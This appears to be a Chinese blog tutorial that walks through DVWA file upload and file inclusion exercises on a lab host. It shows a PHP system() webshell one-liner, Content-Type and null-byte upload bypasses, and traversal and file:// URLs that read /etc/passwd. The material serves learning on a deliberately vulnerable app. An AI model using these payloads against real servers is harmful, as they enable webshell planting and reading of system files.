zoukankan      html  css  js  c++  java
  • Web渗透测试 之 文件上传、文件包含

    文件上传漏洞修复

    1. 文件mime 类型过滤

    2. 文件大小过滤

    3. 文件类型过滤

    4. 获取图像信息检测

    使用dvwa 测试

    1. low级别 没有做过滤可以直接上传php文件。

     

     

    2. 在medium 级别对上传文件的mine 类型进行了白名单过滤,我们可以通过brupsuite 改包实现上传

    修改数据包Content-Type: application/x-php  Content-Type: image/jpeg

     

     

    3. 在 high 级别中 增加了,类型检测,getimagesize获取图像信息检测

    php5.4 以下 可以使用文件名 1.php%00.jpg 进行绕过

    php5.4 以上 需要配置文件包含漏洞进行渗透

     方法一:

    绕过方式,在图片文件后面 追加 恶意代码

    由于无法使用菜刀等,一般该级别可以使用php的 system 函数

    <?php @system($_POST[caibao])?> # 该命令需要使用post 提交数据

    上传之后需要找到文件保存的绝对路径,以及存在的 文件包含漏洞

    方法二:

    使用GIF98A 放在文件首行,声明该文件是图片格式

     

     

     

    文件包含漏洞

    文件包含漏洞是由于php调用本地文件产生的

    low 级别 未设置过滤,可使用file 查看系统任意文件

    使用 相对路径获取数据

    http://192.168.140.131/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd

    使用绝对路径获取数据

    http://192.168.140.131/dvwa/vulnerabilities/fi/?page=file:///etc/passwd

     

     

    medium 级别对url 已经 相对路径做了过滤,可以使用file 协议进行绕过(与low 绝对路径方法相同)

     

    high级别 使用白名单过滤只可以访问include.php 以及file 开头的文件,而file协议刚好也是file开头 即可正常绕过

     

    impossible 级别设置了更严谨的白名单

     

  • 相关阅读:
    Eclipse的下载与安装
    IntelliJ IDEA(2018)安装详解
    关于Idea中的web.xml 自动生成模板问题
    基于ssm框架的web.xml配置及解析
    Mybatis分页插件PageHelper的配置与基本使用
    基于maven的ssm框架pom.xml的基本配置及解析
    python去除字符串中的特殊字符(爬虫存储数据时会遇到不能作为文件名的字符串)
    快速指数算法
    伪随机序列
    django中Queryset的删除问题、分页问题
  • 原文地址:https://www.cnblogs.com/change06/p/12840153.html
Copyright © 2011-2022 走看看